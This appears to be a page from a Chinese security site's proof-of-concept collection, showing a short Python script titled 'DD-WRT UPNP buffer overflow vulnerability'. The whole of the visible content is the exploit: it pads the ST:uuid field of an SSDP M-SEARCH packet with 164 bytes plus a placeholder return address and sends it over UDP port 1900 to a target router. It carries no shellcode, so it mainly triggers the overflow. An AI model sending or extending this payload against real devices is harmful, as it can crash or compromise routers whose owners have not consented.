menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right POC chevron_right DD-WRT UPNP缓冲区溢出漏洞.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    DD-WRT UPNP缓冲区溢出漏洞.py
    435 B / 2021-04-15 12:15:19
        import socket
    
    target_ip = "192.168.15.124" # IP Address of Target
    off = "D"*164
    ret_addr = "AAAA"
    
    payload = off + ret_addr
    
    packet = \
        'M-SEARCH * HTTP/1.1\r\n' \
        'HOST:239.255.255.250:1900\r\n' \
        'ST:uuid:'+payload+'\r\n' \
        'MX:2\r\n' \
        'MAN:"ssdp:discover"\r\n' \
        '\r\n'
    
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    s.sendto(packet.encode(), (target_ip, 1900) )
    
    links
    file_download